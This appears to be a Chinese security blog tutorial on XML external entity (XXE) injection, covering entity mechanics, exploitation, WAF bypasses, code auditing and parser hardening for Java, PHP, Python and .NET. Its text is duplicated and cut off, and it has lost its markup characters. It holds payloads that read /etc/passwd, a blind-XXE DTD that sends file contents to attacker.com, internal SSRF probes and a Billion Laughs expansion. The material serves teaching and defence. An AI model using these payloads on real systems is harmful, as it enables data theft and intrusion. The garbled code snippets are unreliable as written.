1. 项目概述从XML到攻击链的深度解构XML外部实体注入也就是我们常说的XXE这绝对是一个在渗透测试和代码审计中既经典又极具威力的漏洞类型。我见过太多开发团队在处理XML数据时默认信任了用户输入或者仅仅因为“功能需要”而开启了外部实体解析最终导致整个服务器门户大开。这个漏洞的原理说复杂也复杂它涉及到XML规范、解析器实现和网络协议说简单也简单核心就是一句话应用程序在解析用户可控的XML输入时错误地加载并执行了外部定义的实体。今天我就结合自己十多年的实战经验带你彻底拆解XXE从最底层的DTD和实体机制讲起一步步构建出完整的攻击链条让你不仅知道怎么利用更明白为什么能这样利用。XXE漏洞的危害范围远超很多人的想象。它绝不仅仅是读取一个/etc/passwd文件那么简单。在实战中一个成功的XXE利用可以成为内网渗透的跳板实现SSRF服务端请求伪造、端口扫描甚至在某些特定环境下比如PHP开启了expect扩展或者结合其他漏洞达成远程命令执行。更隐蔽的是“盲注XXE”Blind XXE数据通过DNS或HTTP请求外带出去不留痕迹。理解XXE是理解现代Web应用信任边界如何被打破的关键一课。无论你是安全研究员、渗透测试工程师还是负责开发需要处理XML的应用程序这篇文章都将为你提供一个从原理到实战的完整视角。2. XML与DTD漏洞滋生的土壤要理解XXE我们必须先回到起点搞清楚XML和DTD到底是什么以及它们是如何协同工作的。很多开发者只是把XML当作一种数据交换格式用库去解析它却很少深究其内部机制这正是漏洞产生的根源。2.1 XML的核心结构化与可扩展性XMLeXtensible Markup Language的设计初衷是为了存储和传输结构化的数据。它的核心特点是“可扩展”即你可以自定义标签。比如一个简单的用户数据user id1/id name张三/name emailzhangsanexample.com/email /user这种自描述性让XML在配置文件如Spring的applicationContext.xml、Web服务SOAP协议、文档格式如Office Open XML中广泛应用。解析器如Java的DocumentBuilder、PHP的libxml、Python的lxml的工作就是读取这段文本将其转换成内存中的一棵树状结构DOM或触发一系列事件SAX供程序使用。2.2 DTD文档类型定义与实体的力量DTDDocument Type Definition是XML 1.0规范的一部分用于定义XML文档的合法构建模块。它可以声明文档的元素、属性、实体等规则。而“实体”Entity是DTD中一个关键且危险的概念。你可以把实体理解为一个“缩写”或“引用”。实体主要分为两类内部实体在DTD内部定义和使用的实体。!ENTITY company Acme Corp在XML中可以用company;来引用解析时会替换为“Acme Corp”。外部实体这是XXE漏洞的根源。它通过SYSTEM或PUBLIC关键字指示解析器从外部资源加载内容。!ENTITY secret SYSTEM file:///etc/passwd当XML解析器遇到secret;时它会尝试去读取服务器本地的/etc/passwd文件并将其内容注入到XML文档中。关键点在于XML规范本身允许这样的外部引用它是一项功能。问题出在应用程序的解析器配置上。如果解析器被配置为“信任”并处理外部实体而攻击者又能控制XML输入那么他就能定义指向任意资源本地文件、内网服务、远程URL的外部实体。2.3 解析器的“信任”与“不信任”模式不同的语言和库其XML解析器的默认行为天差地别这也是XXE漏洞时而普遍、时而隐蔽的原因。JavaDocumentBuilderFactory等解析器在历史版本中默认是支持外部实体解析的。必须显式地通过setFeature(“http://apache.org/xml/features/disallow-doctype-decl”, true)等方法来禁用DTD或外部实体。PHP在PHP中libxml_disable_entity_loader()函数用于控制外部实体加载。在早于8.0的版本中这个函数可能需要被调用传false来禁用加载器而默认行为可能因PHP版本和编译参数而异充满陷阱。Python标准的xml.etree.ElementTree在Python 3.7.1之前默认不解析外部实体但更强大的lxml.etree默认是解析的除非显式设置resolve_entitiesFalse。.NETXmlDocument或XmlReader等类需要将XmlResolver属性设置为null或者将DtdProcessing属性设置为Prohibit来禁止DTD处理。实操心得在代码审计时看到XML解析相关函数第一反应就是去查它的安全配置。如果代码里没有显式地、正确地禁用外部实体或DTD这里就极有可能存在XXE漏洞。不要相信默认配置永远要显式地设置为最安全的模式。3. XXE攻击链的深度构建与利用场景理解了原理我们来看看攻击者是如何一步步构建攻击链的。XXE的利用绝非一成不变它像拼图一样可以根据环境组合出不同的攻击面。3.1 基础利用有回显的文件读取这是最常见、最直接的利用方式。攻击者构造一个包含外部实体引用的XML该实体指向一个敏感文件并且应用程序的响应中会包含这个实体的内容。攻击Payload示例?xml version1.0 encodingUTF-8? !DOCTYPE root [ !ENTITY xxe SYSTEM file:///etc/passwd ] root usernamexxe;/username passwordtest/password /root当服务器端解析这段XML并将username元素的内容即xxe;返回给客户端时/etc/passwd文件的内容就会出现在响应中。关键技巧与协议支持file://协议读取本地文件。在Windows系统上可能是file:///C:/windows/win.ini。php://filter协议PHP环境这是一个强大的“过滤器”可以用于读取和编码文件内容常用于读取PHP源码。!ENTITY xxe SYSTEM php://filter/readconvert.base64-encode/resource/var/www/html/index.php读取的内容会经过base64编码可以绕过一些简单的特殊字符过滤避免破坏XML结构。expect://协议PHP且安装了expect扩展这可以直接执行系统命令危害极大但该扩展在生产环境中极少安装。http:///https://协议这会将XXE转化为SSRF让服务器向指定URL发起HTTP请求。这可以用来探测内网服务。3.2 高级利用无回显Blind XXE与数据外带很多时候服务器虽然解析了外部实体但并不会在响应中直接回显文件内容。这时就需要利用“盲注XXE”Blind XXE技术将数据通过带外Out-of-Band, OOB通道外带出来。其核心思想是利用参数实体和外部DTD。参数实体以%开头的实体只能在DTD内部使用。它允许更复杂的实体定义。!ENTITY % remote SYSTEM http://attacker.com/evil.dtd %remote;攻击流程攻击者在自己控制的服务器上放置一个恶意的DTD文件evil.dtd。在提交的XML中引用这个远程DTD。远程DTD中定义参数实体执行读取文件等操作并通过HTTP请求将文件内容发送到攻击者的另一个接收服务器。恶意DTD文件 (evil.dtd)!ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY #x25; exfil SYSTEM http://attacker.com/?data%file; %eval; %exfil;提交的XML Payload?xml version1.0? !DOCTYPE root [ !ENTITY % remote SYSTEM http://attacker.com/evil.dtd %remote; ] root/root当服务器解析此XML时遇到%remote;会去获取http://attacker.com/evil.dtd。解析获取到的DTD定义%file实体内容为/etc/passwd文件。定义%eval实体其内部又定义了一个参数实体%exfil这个实体的值是一个URL其中包含了%file;即文件内容。执行%eval;和%exfil;导致服务器向http://attacker.com/?data...发起GET请求文件内容就作为URL参数被带出来了。注意事项由于URL有长度限制且文件内容可能包含破坏URL结构的字符如,#, 换行符实战中通常需要先对数据进行编码如base64。这可以通过在DTD中使用php://filter或更复杂的实体嵌套来实现。3.3 内网探测与SSRFXXE是发起SSRF攻击的绝佳载体。因为请求是从受害服务器内部发起的可以绕过防火墙访问其内网资源。攻击Payload!ENTITY xxe SYSTEM http://192.168.1.1:8080/admin通过观察服务器的响应时间或错误信息可以判断内网IP和端口的开放情况。例如如果请求http://192.168.1.1:8080很快返回连接拒绝而http://192.168.1.2:8080响应很慢或超时可能说明后者端口开放但服务未响应。结合DNSLog等工具可以更隐蔽地进行探测。3.4 拒绝服务攻击XXE也可能被用于发起拒绝服务DoS攻击例如经典的“Billion Laughs”攻击。!DOCTYPE root [ !ENTITY a lol !ENTITY b a;a;a;a;a;a;a;a;a;a; !ENTITY c b;b;b;b;b;b;b;b;b;b; !-- 继续定义 d, e, f... -- ] rootc;/root通过递归引用实体可以在内存中指数级地扩展文本最终耗尽服务器内存导致服务崩溃。现代解析器通常有实体扩展限制但仍是一个需要防范的点。4. 实战攻击路径从输入点到利用知道了原理和利用方式我们来看看在实际渗透测试中如何系统地发现和利用一个XXE漏洞。4.1 输入点识别XXE的输入点并不总是显而易见的application/xml。需要拓宽思路显式XML接口SOAP API、REST APIContent-Type为application/xml或text/xml、XML-RPC、Web服务WSDL。文件上传这是非常常见的入口。许多应用允许上传XML格式的文件如Office文档.docx,.xlsx,.pptx本质是ZIP包内含XML。如果服务器端解压并处理这些XML就可能触发XXE。SVG图像SVG是基于XML的矢量图像格式。svg标签内可以插入!DOCTYPE。PDF元数据某些PDF处理库会解析XMP元数据其中可能包含XML。配置文件导入、数据备份恢复等功能。内容类型篡改有时API接受JSON但将Content-Type改为application/xml并提交XML数据后端可能仍然会解析。这被称为“内容类型混淆”攻击。非标准位置HTTP请求中的任何参数如果后端将其拼接进XML模板都可能成为注入点。例如一些单点登录SAML实现、某些API网关的转换逻辑。4.2 探测与验证发现可疑输入点后按以下步骤探测基础探测提交一个包含简单外部实体的XML观察响应。?xml version1.0? !DOCTYPE test [ !ENTITY xxe SYSTEM file:///etc/passwd ] testxxe;/test有回显如果文件内容出现在响应中漏洞直接确认。报错信息如果返回了XML解析错误并且错误信息中包含了类似“file:///etc/passwd (No such file or directory)”的内容这也强烈暗示外部实体被解析了。无回显/盲注如果响应没有变化或者返回通用错误则需要进行盲注探测。盲注探测使用DNSLog或HTTP监听服务器。DNSLog提交引用一个唯一子域的Payload。!ENTITY xxe SYSTEM http://your-unique-id.dnslog.cn如果DNSLog平台收到了该子域的解析请求证明服务器发起了外部网络请求XXE存在。HTTP监听使用Burp Suite Collaborator、Interact.sh或自己搭建的服务器。提交指向你监听地址的Payload看是否收到HTTP请求。协议与路径测试确认支持哪些协议file,http,ftp,php,jar等以及文件路径的访问权限是否能跨目录。4.3 绕过常见防御与WAF现代应用和WAF会部署一些基础的XXE防护规则攻击者需要掌握绕过技巧。绕过场景常见防护绕过思路示例/说明关键词过滤过滤!ENTITY、SYSTEM、file://等字符串1.编码绕过使用UTF-16、UTF-32等编码提交XMLWAF可能无法正确解码检测。2.外部DTD引用将恶意DTD放在外部服务器XML中只引用它。WAF可能不递归解析外部DTD。3.XInclude使用xi:include标签它不依赖DOCTYPE但需要解析器支持且允许XInclude。?xml version1.0 encodingUTF-16BE? 经过UTF-16编码的PayloadXXE防护函数PHP的libxml_disable_entity_loader(true)本地DTD利用利用服务器上已存在的、合法的DTD文件中的实体定义通过重新定义参数实体来触发文件读取。这不需要SYSTEM关键字。需要探测服务器上存在的DTD文件路径并了解其内部实体结构。禁用外部连接服务器无法出网无法进行OOB数据外带错误信息回显尝试触发一个解析错误并将文件内容包含在错误信息中。例如通过file://协议读取一个包含非法XML字符的文件解析器报错时可能会泄露部分内容。成功率较低依赖解析器实现。内容类型检查只处理application/json内容类型混淆尝试将请求的Content-Type头改为application/xml但Body仍发送JSON结构或反之测试后端解析逻辑是否严格。属于逻辑漏洞探测范畴。实操心得绕过WAF是一个持续对抗的过程。最有效的方法往往是混合使用多种技巧。例如先使用UTF-16编码然后在编码后的内容中插入非常规空白字符如#x09;、#x0a;再结合外部DTD引用。同时要密切关注目标系统使用的具体XML解析库及其版本不同库的默认行为和特性差异可能就是突破口。5. 漏洞挖掘与代码审计要点除了黑盒测试白盒的代码审计是发现XXE漏洞更直接、更彻底的方法。5.1 危险函数与配置点在不同的编程语言中需要关注以下关键点Java:DocumentBuilderFactory: 检查是否调用了setFeature方法禁用了相关功能。必须设置以下两个Feature为truefactory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); factory.setFeature(http://xml.org/sax/features/external-general-entities, false); factory.setFeature(http://xml.org/sax/features/external-parameter-entities, false);SAXParserFactory,XMLInputFactory,SchemaFactory,TransformerFactory这些工厂类同样需要安全配置。XMLReader通过setEntityResolver设置一个安全的解析器或直接禁用。第三方库dom4j,JDOM等同样需要检查。PHP:simplexml_load_string(),DOMDocument::loadXML()在PHP版本小于8.0且未调用libxml_disable_entity_loader(true)时默认可能解析外部实体。xml_parse()等函数也需要检查相关配置。Python:lxml.etree.XML()/lxml.etree.parse()默认解析外部实体。必须设置resolve_entitiesFalse。parser lxml.etree.XMLParser(resolve_entitiesFalse, no_networkTrue) tree lxml.etree.parse(xml_string, parser)xml.etree.ElementTree在Python 3.7.1之前相对安全之后也需注意。defusedxml推荐使用这个安全库替代标准库。.NET:XmlDocument,XmlTextReader需要将XmlResolver属性设置为null。XmlDocument xmlDoc new XmlDocument(); xmlDoc.XmlResolver null; // 关键 xmlDoc.LoadXml(xmlString);XmlReaderSettings设置DtdProcessing DtdProcessing.Prohibit。5.2 审计流程与技巧全局搜索在代码库中搜索关键词如XML、DocumentBuilder、SAXParser、simplexml、lxml、XmlDocument、LoadXML、parse等。追踪数据流找到XML解析函数后向上追踪其输入参数。这个参数是否来自用户可控的输入如HTTP请求参数、请求体、上传的文件、数据库字段、第三方API返回。检查配置仔细查看解析器对象的创建和配置过程。有没有调用安全设置函数传入的参数是否正确不要只看有没有调用要看调用的参数是否正确。我曾见过代码里调用了setFeature但传入的是false意图是禁用结果写成了启用。关注依赖库项目引用的第三方库如Apache POI处理ExcelApache FOP处理PDF可能内部使用XML解析器。需要检查这些库的版本并确认其默认配置或项目是否对其进行了安全包装。配置文件检查框架的配置文件如web.xml、Spring配置中是否有与XML解析相关的全局设置。6. 系统性防御方案修复XXE漏洞绝不能只靠一招。需要从开发、运维、架构多个层面构建纵深防御。6.1 代码层禁用与净化治本之策原则使用最新版本的安全解析库并显式配置以禁用所有外部实体和DTD处理。Java (推荐配置):DocumentBuilderFactory factory DocumentBuilderFactory.newInstance(); // 禁用DTD factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); // 禁用外部通用实体 factory.setFeature(http://xml.org/sax/features/external-general-entities, false); // 禁用外部参数实体 factory.setFeature(http://xml.org/sax/features/external-parameter-entities, false); // 禁用外部DTD factory.setFeature(http://apache.org/xml/features/nonvalidating/load-external-dtd, false); // 启用安全处理模式 factory.setXIncludeAware(false); factory.setExpandEntityReferences(false); DocumentBuilder builder factory.newDocumentBuilder();PHP:对于PHP 8.0及以上libxml_disable_entity_loader()函数已被移除simplexml_load_string()等函数默认不再加载外部实体这是最安全的。对于PHP 8.0以下必须在解析XML前调用libxml_disable_entity_loader(true);。Python:使用defusedxml库替代标准库。它默认就是安全的。如果必须用lxml务必设置parser lxml.etree.XMLParser(resolve_entitiesFalse, no_networkTrue)。.NET:XmlReaderSettings settings new XmlReaderSettings(); settings.DtdProcessing DtdProcessing.Prohibit; // 禁止DTD settings.XmlResolver null; // 禁止解析器 using (XmlReader reader XmlReader.Create(inputStream, settings)) { // 处理XML }6.2 输入验证与过滤辅助措施在数据进入解析器之前进行严格的输入验证。白名单验证如果业务只处理特定结构的XML可以使用XML Schema (XSD)进行严格验证。XSD验证发生在实体展开之前可以有效阻止包含外部实体声明的非法XML。关键词过滤在应用层或WAF层过滤或拦截包含!DOCTYPE、!ENTITY、SYSTEM、PUBLIC等关键词的请求。但这种方法容易被绕过只能作为辅助。内容类型强制确保后端只处理预期的Content-Type如application/json对非预期类型直接拒绝。6.3 架构与运维层纵深防御网络隔离限制应用服务器出站流量。只允许访问必要的白名单外部地址和端口。这可以阻断Blind XXE的数据外带和内网探测。最小权限原则运行Web服务的操作系统账户应具有最小必要权限。即使文件被读取也能限制损害范围例如无法读取/etc/shadow。依赖管理定期升级XML处理库如libxml2到最新版本以获取安全修复。安全扫描在CI/CD流程中集成SAST静态应用安全测试和DAST动态应用安全测试工具将XXE检测作为必检项。WAF规则部署针对XXE的WAF规则虽然可能被绕过但能增加攻击门槛拦截大部分自动化攻击。6.4 文件上传场景的特殊处理对于处理用户上传文件如Office、SVG的应用预处理使用经过安全加固的库如Apache POI的最新版并注意其配置来处理文件而不是简单地解压后解析XML。净化Sanitization在解析前使用专门的XML净化工具或编写脚本递归遍历XML所有节点移除所有!DOCTYPE声明和!ENTITY定义。沙箱隔离在独立的、无网络权限的沙箱环境中处理不可信文件。7. 排查与应急响应如果怀疑系统存在XXE漏洞或已经遭受攻击可以按以下步骤排查日志分析立即检查Web服务器如Nginx、Apache、应用服务器如Tomcat的访问日志和错误日志。寻找异常的、包含%3C!ENTITYURL编码后的!ENTITY或file://、http://指向异常内网或外网IP的请求。Blind XXE可能会产生对异常域名如DNSLog平台的DNS查询或HTTP请求这些在网络流量日志中也可能有迹可循。代码审查针对处理XML输入的相关接口进行紧急代码审计确认解析器配置。临时缓解WAF/网关层面紧急上线规则拦截所有包含!DOCTYPE的请求需评估对业务的影响。应用层面如果无法立即修改代码可以考虑在请求入口处如Filter、Middleware对请求体进行字符串匹配若发现DOCTYPE等关键词直接返回错误。注意这只是一种临时缓解措施编码绕过等问题使其并不完全可靠。网络层面立即收紧服务器的出站规则。根本修复按照第6部分的防御方案修复代码中的解析器配置。并进行全面的回归测试。XXE漏洞的挖掘、利用与防御是一场关于“信任”的博弈。它深刻地提醒我们任何来自外部的数据在进入核心处理逻辑之前都必须经过严格的审视和过滤。作为开发者要时刻对XML解析器保持警惕作为安全人员则要将XXE作为Web应用测试的常规检查项。希望这篇近万字的剖析能帮你建立起对XXE漏洞立体而深入的认知在实战中更好地发现它、理解它、防御它。
XXE漏洞深度解析：从XML实体注入到攻击链构建与防御
发布时间：2026/7/15 7:54:53
1. 项目概述从XML到攻击链的深度解构XML外部实体注入也就是我们常说的XXE这绝对是一个在渗透测试和代码审计中既经典又极具威力的漏洞类型。我见过太多开发团队在处理XML数据时默认信任了用户输入或者仅仅因为“功能需要”而开启了外部实体解析最终导致整个服务器门户大开。这个漏洞的原理说复杂也复杂它涉及到XML规范、解析器实现和网络协议说简单也简单核心就是一句话应用程序在解析用户可控的XML输入时错误地加载并执行了外部定义的实体。今天我就结合自己十多年的实战经验带你彻底拆解XXE从最底层的DTD和实体机制讲起一步步构建出完整的攻击链条让你不仅知道怎么利用更明白为什么能这样利用。XXE漏洞的危害范围远超很多人的想象。它绝不仅仅是读取一个/etc/passwd文件那么简单。在实战中一个成功的XXE利用可以成为内网渗透的跳板实现SSRF服务端请求伪造、端口扫描甚至在某些特定环境下比如PHP开启了expect扩展或者结合其他漏洞达成远程命令执行。更隐蔽的是“盲注XXE”Blind XXE数据通过DNS或HTTP请求外带出去不留痕迹。理解XXE是理解现代Web应用信任边界如何被打破的关键一课。无论你是安全研究员、渗透测试工程师还是负责开发需要处理XML的应用程序这篇文章都将为你提供一个从原理到实战的完整视角。2. XML与DTD漏洞滋生的土壤要理解XXE我们必须先回到起点搞清楚XML和DTD到底是什么以及它们是如何协同工作的。很多开发者只是把XML当作一种数据交换格式用库去解析它却很少深究其内部机制这正是漏洞产生的根源。2.1 XML的核心结构化与可扩展性XMLeXtensible Markup Language的设计初衷是为了存储和传输结构化的数据。它的核心特点是“可扩展”即你可以自定义标签。比如一个简单的用户数据user id1/id name张三/name emailzhangsanexample.com/email /user这种自描述性让XML在配置文件如Spring的applicationContext.xml、Web服务SOAP协议、文档格式如Office Open XML中广泛应用。解析器如Java的DocumentBuilder、PHP的libxml、Python的lxml的工作就是读取这段文本将其转换成内存中的一棵树状结构DOM或触发一系列事件SAX供程序使用。2.2 DTD文档类型定义与实体的力量DTDDocument Type Definition是XML 1.0规范的一部分用于定义XML文档的合法构建模块。它可以声明文档的元素、属性、实体等规则。而“实体”Entity是DTD中一个关键且危险的概念。你可以把实体理解为一个“缩写”或“引用”。实体主要分为两类内部实体在DTD内部定义和使用的实体。!ENTITY company Acme Corp在XML中可以用company;来引用解析时会替换为“Acme Corp”。外部实体这是XXE漏洞的根源。它通过SYSTEM或PUBLIC关键字指示解析器从外部资源加载内容。!ENTITY secret SYSTEM file:///etc/passwd当XML解析器遇到secret;时它会尝试去读取服务器本地的/etc/passwd文件并将其内容注入到XML文档中。关键点在于XML规范本身允许这样的外部引用它是一项功能。问题出在应用程序的解析器配置上。如果解析器被配置为“信任”并处理外部实体而攻击者又能控制XML输入那么他就能定义指向任意资源本地文件、内网服务、远程URL的外部实体。2.3 解析器的“信任”与“不信任”模式不同的语言和库其XML解析器的默认行为天差地别这也是XXE漏洞时而普遍、时而隐蔽的原因。JavaDocumentBuilderFactory等解析器在历史版本中默认是支持外部实体解析的。必须显式地通过setFeature(“http://apache.org/xml/features/disallow-doctype-decl”, true)等方法来禁用DTD或外部实体。PHP在PHP中libxml_disable_entity_loader()函数用于控制外部实体加载。在早于8.0的版本中这个函数可能需要被调用传false来禁用加载器而默认行为可能因PHP版本和编译参数而异充满陷阱。Python标准的xml.etree.ElementTree在Python 3.7.1之前默认不解析外部实体但更强大的lxml.etree默认是解析的除非显式设置resolve_entitiesFalse。.NETXmlDocument或XmlReader等类需要将XmlResolver属性设置为null或者将DtdProcessing属性设置为Prohibit来禁止DTD处理。实操心得在代码审计时看到XML解析相关函数第一反应就是去查它的安全配置。如果代码里没有显式地、正确地禁用外部实体或DTD这里就极有可能存在XXE漏洞。不要相信默认配置永远要显式地设置为最安全的模式。3. XXE攻击链的深度构建与利用场景理解了原理我们来看看攻击者是如何一步步构建攻击链的。XXE的利用绝非一成不变它像拼图一样可以根据环境组合出不同的攻击面。3.1 基础利用有回显的文件读取这是最常见、最直接的利用方式。攻击者构造一个包含外部实体引用的XML该实体指向一个敏感文件并且应用程序的响应中会包含这个实体的内容。攻击Payload示例?xml version1.0 encodingUTF-8? !DOCTYPE root [ !ENTITY xxe SYSTEM file:///etc/passwd ] root usernamexxe;/username passwordtest/password /root当服务器端解析这段XML并将username元素的内容即xxe;返回给客户端时/etc/passwd文件的内容就会出现在响应中。关键技巧与协议支持file://协议读取本地文件。在Windows系统上可能是file:///C:/windows/win.ini。php://filter协议PHP环境这是一个强大的“过滤器”可以用于读取和编码文件内容常用于读取PHP源码。!ENTITY xxe SYSTEM php://filter/readconvert.base64-encode/resource/var/www/html/index.php读取的内容会经过base64编码可以绕过一些简单的特殊字符过滤避免破坏XML结构。expect://协议PHP且安装了expect扩展这可以直接执行系统命令危害极大但该扩展在生产环境中极少安装。http:///https://协议这会将XXE转化为SSRF让服务器向指定URL发起HTTP请求。这可以用来探测内网服务。3.2 高级利用无回显Blind XXE与数据外带很多时候服务器虽然解析了外部实体但并不会在响应中直接回显文件内容。这时就需要利用“盲注XXE”Blind XXE技术将数据通过带外Out-of-Band, OOB通道外带出来。其核心思想是利用参数实体和外部DTD。参数实体以%开头的实体只能在DTD内部使用。它允许更复杂的实体定义。!ENTITY % remote SYSTEM http://attacker.com/evil.dtd %remote;攻击流程攻击者在自己控制的服务器上放置一个恶意的DTD文件evil.dtd。在提交的XML中引用这个远程DTD。远程DTD中定义参数实体执行读取文件等操作并通过HTTP请求将文件内容发送到攻击者的另一个接收服务器。恶意DTD文件 (evil.dtd)!ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY #x25; exfil SYSTEM http://attacker.com/?data%file; %eval; %exfil;提交的XML Payload?xml version1.0? !DOCTYPE root [ !ENTITY % remote SYSTEM http://attacker.com/evil.dtd %remote; ] root/root当服务器解析此XML时遇到%remote;会去获取http://attacker.com/evil.dtd。解析获取到的DTD定义%file实体内容为/etc/passwd文件。定义%eval实体其内部又定义了一个参数实体%exfil这个实体的值是一个URL其中包含了%file;即文件内容。执行%eval;和%exfil;导致服务器向http://attacker.com/?data...发起GET请求文件内容就作为URL参数被带出来了。注意事项由于URL有长度限制且文件内容可能包含破坏URL结构的字符如,#, 换行符实战中通常需要先对数据进行编码如base64。这可以通过在DTD中使用php://filter或更复杂的实体嵌套来实现。3.3 内网探测与SSRFXXE是发起SSRF攻击的绝佳载体。因为请求是从受害服务器内部发起的可以绕过防火墙访问其内网资源。攻击Payload!ENTITY xxe SYSTEM http://192.168.1.1:8080/admin通过观察服务器的响应时间或错误信息可以判断内网IP和端口的开放情况。例如如果请求http://192.168.1.1:8080很快返回连接拒绝而http://192.168.1.2:8080响应很慢或超时可能说明后者端口开放但服务未响应。结合DNSLog等工具可以更隐蔽地进行探测。3.4 拒绝服务攻击XXE也可能被用于发起拒绝服务DoS攻击例如经典的“Billion Laughs”攻击。!DOCTYPE root [ !ENTITY a lol !ENTITY b a;a;a;a;a;a;a;a;a;a; !ENTITY c b;b;b;b;b;b;b;b;b;b; !-- 继续定义 d, e, f... -- ] rootc;/root通过递归引用实体可以在内存中指数级地扩展文本最终耗尽服务器内存导致服务崩溃。现代解析器通常有实体扩展限制但仍是一个需要防范的点。4. 实战攻击路径从输入点到利用知道了原理和利用方式我们来看看在实际渗透测试中如何系统地发现和利用一个XXE漏洞。4.1 输入点识别XXE的输入点并不总是显而易见的application/xml。需要拓宽思路显式XML接口SOAP API、REST APIContent-Type为application/xml或text/xml、XML-RPC、Web服务WSDL。文件上传这是非常常见的入口。许多应用允许上传XML格式的文件如Office文档.docx,.xlsx,.pptx本质是ZIP包内含XML。如果服务器端解压并处理这些XML就可能触发XXE。SVG图像SVG是基于XML的矢量图像格式。svg标签内可以插入!DOCTYPE。PDF元数据某些PDF处理库会解析XMP元数据其中可能包含XML。配置文件导入、数据备份恢复等功能。内容类型篡改有时API接受JSON但将Content-Type改为application/xml并提交XML数据后端可能仍然会解析。这被称为“内容类型混淆”攻击。非标准位置HTTP请求中的任何参数如果后端将其拼接进XML模板都可能成为注入点。例如一些单点登录SAML实现、某些API网关的转换逻辑。4.2 探测与验证发现可疑输入点后按以下步骤探测基础探测提交一个包含简单外部实体的XML观察响应。?xml version1.0? !DOCTYPE test [ !ENTITY xxe SYSTEM file:///etc/passwd ] testxxe;/test有回显如果文件内容出现在响应中漏洞直接确认。报错信息如果返回了XML解析错误并且错误信息中包含了类似“file:///etc/passwd (No such file or directory)”的内容这也强烈暗示外部实体被解析了。无回显/盲注如果响应没有变化或者返回通用错误则需要进行盲注探测。盲注探测使用DNSLog或HTTP监听服务器。DNSLog提交引用一个唯一子域的Payload。!ENTITY xxe SYSTEM http://your-unique-id.dnslog.cn如果DNSLog平台收到了该子域的解析请求证明服务器发起了外部网络请求XXE存在。HTTP监听使用Burp Suite Collaborator、Interact.sh或自己搭建的服务器。提交指向你监听地址的Payload看是否收到HTTP请求。协议与路径测试确认支持哪些协议file,http,ftp,php,jar等以及文件路径的访问权限是否能跨目录。4.3 绕过常见防御与WAF现代应用和WAF会部署一些基础的XXE防护规则攻击者需要掌握绕过技巧。绕过场景常见防护绕过思路示例/说明关键词过滤过滤!ENTITY、SYSTEM、file://等字符串1.编码绕过使用UTF-16、UTF-32等编码提交XMLWAF可能无法正确解码检测。2.外部DTD引用将恶意DTD放在外部服务器XML中只引用它。WAF可能不递归解析外部DTD。3.XInclude使用xi:include标签它不依赖DOCTYPE但需要解析器支持且允许XInclude。?xml version1.0 encodingUTF-16BE? 经过UTF-16编码的PayloadXXE防护函数PHP的libxml_disable_entity_loader(true)本地DTD利用利用服务器上已存在的、合法的DTD文件中的实体定义通过重新定义参数实体来触发文件读取。这不需要SYSTEM关键字。需要探测服务器上存在的DTD文件路径并了解其内部实体结构。禁用外部连接服务器无法出网无法进行OOB数据外带错误信息回显尝试触发一个解析错误并将文件内容包含在错误信息中。例如通过file://协议读取一个包含非法XML字符的文件解析器报错时可能会泄露部分内容。成功率较低依赖解析器实现。内容类型检查只处理application/json内容类型混淆尝试将请求的Content-Type头改为application/xml但Body仍发送JSON结构或反之测试后端解析逻辑是否严格。属于逻辑漏洞探测范畴。实操心得绕过WAF是一个持续对抗的过程。最有效的方法往往是混合使用多种技巧。例如先使用UTF-16编码然后在编码后的内容中插入非常规空白字符如#x09;、#x0a;再结合外部DTD引用。同时要密切关注目标系统使用的具体XML解析库及其版本不同库的默认行为和特性差异可能就是突破口。5. 漏洞挖掘与代码审计要点除了黑盒测试白盒的代码审计是发现XXE漏洞更直接、更彻底的方法。5.1 危险函数与配置点在不同的编程语言中需要关注以下关键点Java:DocumentBuilderFactory: 检查是否调用了setFeature方法禁用了相关功能。必须设置以下两个Feature为truefactory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); factory.setFeature(http://xml.org/sax/features/external-general-entities, false); factory.setFeature(http://xml.org/sax/features/external-parameter-entities, false);SAXParserFactory,XMLInputFactory,SchemaFactory,TransformerFactory这些工厂类同样需要安全配置。XMLReader通过setEntityResolver设置一个安全的解析器或直接禁用。第三方库dom4j,JDOM等同样需要检查。PHP:simplexml_load_string(),DOMDocument::loadXML()在PHP版本小于8.0且未调用libxml_disable_entity_loader(true)时默认可能解析外部实体。xml_parse()等函数也需要检查相关配置。Python:lxml.etree.XML()/lxml.etree.parse()默认解析外部实体。必须设置resolve_entitiesFalse。parser lxml.etree.XMLParser(resolve_entitiesFalse, no_networkTrue) tree lxml.etree.parse(xml_string, parser)xml.etree.ElementTree在Python 3.7.1之前相对安全之后也需注意。defusedxml推荐使用这个安全库替代标准库。.NET:XmlDocument,XmlTextReader需要将XmlResolver属性设置为null。XmlDocument xmlDoc new XmlDocument(); xmlDoc.XmlResolver null; // 关键 xmlDoc.LoadXml(xmlString);XmlReaderSettings设置DtdProcessing DtdProcessing.Prohibit。5.2 审计流程与技巧全局搜索在代码库中搜索关键词如XML、DocumentBuilder、SAXParser、simplexml、lxml、XmlDocument、LoadXML、parse等。追踪数据流找到XML解析函数后向上追踪其输入参数。这个参数是否来自用户可控的输入如HTTP请求参数、请求体、上传的文件、数据库字段、第三方API返回。检查配置仔细查看解析器对象的创建和配置过程。有没有调用安全设置函数传入的参数是否正确不要只看有没有调用要看调用的参数是否正确。我曾见过代码里调用了setFeature但传入的是false意图是禁用结果写成了启用。关注依赖库项目引用的第三方库如Apache POI处理ExcelApache FOP处理PDF可能内部使用XML解析器。需要检查这些库的版本并确认其默认配置或项目是否对其进行了安全包装。配置文件检查框架的配置文件如web.xml、Spring配置中是否有与XML解析相关的全局设置。6. 系统性防御方案修复XXE漏洞绝不能只靠一招。需要从开发、运维、架构多个层面构建纵深防御。6.1 代码层禁用与净化治本之策原则使用最新版本的安全解析库并显式配置以禁用所有外部实体和DTD处理。Java (推荐配置):DocumentBuilderFactory factory DocumentBuilderFactory.newInstance(); // 禁用DTD factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); // 禁用外部通用实体 factory.setFeature(http://xml.org/sax/features/external-general-entities, false); // 禁用外部参数实体 factory.setFeature(http://xml.org/sax/features/external-parameter-entities, false); // 禁用外部DTD factory.setFeature(http://apache.org/xml/features/nonvalidating/load-external-dtd, false); // 启用安全处理模式 factory.setXIncludeAware(false); factory.setExpandEntityReferences(false); DocumentBuilder builder factory.newDocumentBuilder();PHP:对于PHP 